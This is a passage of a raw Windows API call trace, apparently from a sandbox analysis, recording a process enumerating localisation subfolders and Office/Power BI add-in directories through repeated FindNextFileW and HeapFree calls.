nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hr", cAlternateFileName="")) returned 1 [0063.520] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x438b030 | out: hHeap=0x6a0000) returned 1 [0063.520] FindNextFileW (in: hFindFile=0x4260740, lpFindFileData=0x328ee10 | out: lpFindFileData=0x328ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf6164f96, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x14648313, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x14648313, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hu", cAlternateFileName="")) returned 1 [0063.522] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x438b030 | out: hHeap=0x6a0000) returned 1 [0063.522] FindNextFileW (in: hFindFile=0x4260740, lpFindFileData=0x328ee10 | out: lpFindFileData=0x328ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf18f9628, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1434d390, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1434d390, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="id", cAlternateFileName="")) returned 1 [0063.523] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x438b030 | out: hHeap=0x6a0000) returned 1 [0063.523] FindNextFileW (in: hFindFile=0x4260740, lpFindFileData=0x328ee10 | out: lpFindFileData=0x328ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf964b3dd, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x14969496, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x14969496, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="it", cAlternateFileName="")) returned 1 [0063.639] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x438b030 | out: hHeap=0x6a0000) returned 1 [0063.639] FindNextFileW (in: hFindFile=0x4260740, lpFindFileData=0x328ee10 | out: lpFindFileData=0x328ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf15d84bd, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x146e0bdc, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x146e0bdc, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ja", cAlternateFileName="")) returned 1 [0063.642] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x438b030 | out: hHeap=0x6a0000) returned 1 [0063.642] FindNextFileW (in: hFindFile=0x4260740, lpFindFileData=0x328ee10 | out: lpFindFileData=0x328ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfae6f174, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x14b330aa, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x14b330aa, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="kk", cAlternateFileName="")) returned 1 [0063.645] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x438b030 | out: hHeap=0x6a0000) returned 1 [0063.645] FindNextFileW (in: hFindFile=0x4260740, lpFindFileData=0x328ee10 | out: lpFindFileData=0x328ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf17ee5c3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x14ac0994, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x14ac0994, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ko", cAlternateFileName="")) returned 1 [0063.647] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x438b030 | out: hHeap=0x6a0000) returned 1 [0063.647] FindNextFileW (in: hFindFile=0x4260740, lpFindFileData=0x328ee10 | out: lpFindFileData=0x328ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf7b529d9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x152a6704, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x152a6704, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="lt", cAlternateFileName="")) returned 1 [0063.649] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x438b030 | out: hHeap=0x6a0000) returned 1 [0063.649] FindNextFileW (in: hFindFile=0x4260740, lpFindFileData=0x328ee10 | out: lpFindFileData=0x328ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf035e09d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1525a179, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1525a179, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="lv", cAlternateFileName="")) returned 1 [0063.651] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x438b030 | out: hHeap=0x6a0000) returned 1 [0063.651] FindNextFileW (in: hFindFile=0x4260740, lpFindFileData=0x328ee10 | out: lpFindFileData=0x328ee10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf42b29f3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf42b29f3, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf42d8c51, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x15f460, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PowerBI.Diagnostics.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0063.654] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x438b030 | out: hHeap=0x6a0000) returned 1 [0063.654] FindNextFileW (in: hFindFile=0x4260740, lpFindFileData=0x328ee10 | out: lpFindFileData=0x328ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x718b80, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x15a3fea8, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x15a3fea8, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nl", cAlternateFileName="")) returned 1 [0063.656] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x438b030 | out: hHeap=0x6a0000) returned 1 [0063.657] FindNextFileW (in: hFindFile=0x4260740, lpFindFileData=0x328ee10 | out: lpFindFileData=0x328ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf18f9628, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x15b71118, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x15b71118, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="no", cAlternateFileName="")) returned 1 [0063.660] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x438b030 | out: hHeap=0x6a0000) returned 1 [0063.660] FindNextFileW (in: hFindFile=0x4260740, lpFindFileData=0x328ee10 | out: lpFindFileData=0x328ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf44c8b33, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x15b24c93, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x15b24c93, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pl", cAlternateFileName="")) returned 1 [0063.662] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x438b030 | out: hHeap=0x6a0000) returned 1 [0063.662] FindNextFileW (in: hFindFile=0x4260740, lpFindFileData=0x328ee10 | out: lpFindFileData=0x328ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeff0bc27, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x15bbd5ad, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x15bbd5ad, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt", cAlternateFileName="")) returned 1 [0063.665] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x438b030 | out: hHeap=0x6a0000) returned 1 [0063.665] FindNextFileW (in: hFindFile=0x4260740, lpFindFileData=0x328ee10 | out: lpFindFileData=0x328ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf475131d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x15be380c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x15be380c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt-PT", cAlternateFileName="")) returned 1 [0063.669] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x438b030 | out: hHeap=0x6a0000) returned 1 [0063.669] FindNextFileW (in: hFindFile=0x4260740, lpFindFileData=0x328ee10 | out: lpFindFileData=0x328ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf6ac83cd, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x15d3adab, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x15d3adab, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ro", cAlternateFileName="")) returned 1 [0063.671] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x438b030 | out: hHeap=0x6a0000) returned 1 [0063.671] FindNextFileW (in: hFindFile=0x4260740, lpFindFileData=0x328ee10 | out: lpFindFileData=0x328ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefe00baf, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x15d14b21, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x15d14b21, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ru", cAlternateFileName="")) returned 1 [0063.673] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x438b030 | out: hHeap=0x6a0000) returned 1 [0063.673] FindNextFileW (in: hFindFile=0x4260740, lpFindFileData=0x328ee10 | out: lpFindFileData=0x328ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf6c6bda4, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x15e92299, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x15e92299, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sk", cAlternateFileName="")) returned 1 [0063.676] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x438b030 | out: hHeap=0x6a0000) returned 1 [0063.676] FindNextFileW (in: hFindFile=0x4260740, lpFindFileData=0x328ee10 | out: lpFindFileData=0x328ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1b359a5, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x15e45dad, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x15e45dad, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sl", cAlternateFileName="")) returned 1 [0064.127] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x438b030 | out: hHeap=0x6a0000) returned 1 [0064.127] FindNextFileW (in: hFindFile=0x4260740, lpFindFileData=0x328ee10 | out: lpFindFileData=0x328ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1a2a905, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x15f04999, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x15f04999, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sr-cyrl", cAlternateFileName="")) returned 1 [0064.129] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x438b030 | out: hHeap=0x6a0000) returned 1 [0064.129] FindNextFileW (in: hFindFile=0x4260740, lpFindFileData=0x328ee10 | out: lpFindFileData=0x328ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa879350, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x160a83ba, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x160a83ba, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sr-latn", cAlternateFileName="")) returned 1 [0064.130] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x438b030 | out: hHeap=0x6a0000) returned 1 [0064.130] FindNextFileW (in: hFindFile=0x4260740, lpFindFileData=0x328ee10 | out: lpFindFileData=0x328ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf45f9db0, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x15ede724, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x15ede724, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sr-Latn-CS", cAlternateFileName="SR-LAT~1")) returned 1 [0064.132] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x438b030 | out: hHeap=0x6a0000) returned 1 [0064.132] FindNextFileW (in: hFindFile=0x4260740, lpFindFileData=0x328ee10 | out: lpFindFileData=0x328ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa8eba59, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x16035c5a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16035c5a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sv", cAlternateFileName="")) returned 1 [0064.134] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x438b030 | out: hHeap=0x6a0000) returned 1 [0064.134] FindNextFileW (in: hFindFile=0x4260740, lpFindFileData=0x328ee10 | out: lpFindFileData=0x328ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1c66c57, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x16166f59, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16166f59, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="th", cAlternateFileName="")) returned 1 [0064.135] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x438b030 | out: hHeap=0x6a0000) returned 1 [0064.135] FindNextFileW (in: hFindFile=0x4260740, lpFindFileData=0x328ee10 | out: lpFindFileData=0x328ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1de43d5, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x16140cde, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16140cde, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="tr", cAlternateFileName="")) returned 1 [0064.137] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x438b030 | out: hHeap=0x6a0000) returned 1 [0064.137] FindNextFileW (in: hFindFile=0x4260740, lpFindFileData=0x328ee10 | out: lpFindFileData=0x328ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf7b9ee02, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x161d962a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x161d962a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="uk", cAlternateFileName="")) returned 1 [0064.138] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x438b030 | out: hHeap=0x6a0000) returned 1 [0064.138] FindNextFileW (in: hFindFile=0x4260740, lpFindFileData=0x328ee10 | out: lpFindFileData=0x328ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf637b042, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x161d962a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x161d962a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="vi", cAlternateFileName="")) returned 1 [0064.142] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x438b030 | out: hHeap=0x6a0000) returned 1 [0064.142] FindNextFileW (in: hFindFile=0x4260740, lpFindFileData=0x328ee10 | out: lpFindFileData=0x328ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf4c15e5f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x163ef7bf, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x163ef7bf, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-CHS", cAlternateFileName="")) returned 1 [0064.144] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x438b030 | out: hHeap=0x6a0000) returned 1 [0064.144] FindNextFileW (in: hFindFile=0x4260740, lpFindFileData=0x328ee10 | out: lpFindFileData=0x328ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf47e9c8f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x164159c7, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x164159c7, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-CHT", cAlternateFileName="")) returned 1 [0064.146] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x438b030 | out: hHeap=0x6a0000) returned 1 [0064.146] FindNextFileW (in: hFindFile=0x4260740, lpFindFileData=0x328ee10 | out: lpFindFileData=0x328ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf47e9c8f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x164159c7, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x164159c7, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-CHT", cAlternateFileName="")) returned 0 [0064.146] FindClose (in: hFindFile=0x4260740 | out: hFindFile=0x4260740) returned 1 [0064.146] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43db058 | out: hHeap=0x6a0000) returned 1 [0064.146] FindNextFileW (in: hFindFile=0x4260440, lpFindFileData=0x328f08c | out: lpFindFileData=0x328f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefd68243, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x16841bb6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16841bb6, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PowerPivot Excel Add-in", cAlternateFileName="POWERP~1")) returned 1 [0064.149] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43ab040 | out: hHeap=0x6a0000) returned 1 [0064.149] FindNextFileW (in: hFindFile=0x4260680, lpFindFileData=0x328ee10 | out: lpFindFileData=0x328ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1ac3289, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x165b9401, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x165b9401, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="bg", cAlternateFileName="")) returned 1 [0064.151] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43ab040 | out: hHeap=0x6a0000) returned 1 [0064.151] FindNextFileW (in: hFindFile=0x4260680, lpFindFileData=0x328ee10 | out: lpFindFileData=0x328ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf6296213, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x16605845, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16605845, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ca", cAlternateFileName="")) returned 1 [0064.153] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43ab040 | out: hHeap=0x6a0000) returned 1 [0064.153] FindNextFileW (in: hFindFile=0x4260680, lpFindFileData=0x328ee10 | out: lpFindFileData=0x328ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x164ae360, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x167a9331, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x167a9331, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Cartridges", cAlternateFileName="CARTRI~1")) returned 1 [0064.155] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43ab040 | out: hHeap=0x6a0000) returned 1 [0064.155] FindNextFileW (in: hFindFile=0x4260680, lpFindFileData=0x328ee10 | out: lpFindFileData=0x328ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0063153, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x16651cf9, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16651cf9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="cs", cAlternateFileName="")) returned 1 [0064.329] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43ab040 | out: hHeap=0x6a0000) returned 1 [0064.329] FindNextFileW (in: hFindFile=0x4260680, lpFindFileData=0x328ee10 | out: lpFindFileData=0x328ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf10a1263, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1662bb01, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1662bb01, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="da", cAlternateFileName="")) returned 1 [0064.813] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43ab040 | out: hHeap=0x6a0000) returned 1 [0064.813] FindNextFileW (in: hFindFile=0x4260680, lpFindFileData=0x328ee10 | out: lpFindFileData=0x328ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeff31e88, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x167a9331, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x167a9331, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="de", cAlternateFileName="")) returned 1 [0064.815] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43ab040 | out: hHeap=0x6a0000) returned 1 [0064.815] FindNextFileW (in: hFindFile=0x4260680, lpFindFileData=0x328ee10 | out: lpFindFileData=0x328ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeff580e7, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x167a9331, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x167a9331, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="el", cAlternateFileName="")) returned 1 [0064.817] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43ab040 | out: hHeap=0x6a0000) returned 1 [0064.817] FindNextFileW (in: hFindFile=0x4260680, lpFindFileData=0x328ee10 | out: lpFindFileData=0x328ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x167a9331, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x167a9331, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x167a9331, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en", cAlternateFileName="")) returned 1 [0064.818] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43ab040 | out: hHeap=0x6a0000) returned 1 [0064.818] FindNextFileW (in: hFindFile=0x4260680, lpFindFileData=0x328ee10 | out: lpFindFileData=0x328ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf00d5872, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x16783027, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16783027, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es", cAlternateFileName="")) returned 1 [0064.821] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43ab040 | out: hHeap=0x6a0000) returned 1 [0064.821] FindNextFileW (in: hFindFile=0x4260680, lpFindFileData=0x328ee10 | out: lpFindFileData=0x328ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1480f75, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x167a9331, ftLastAccessTime.dwHighDateTime=0x1d327e8, 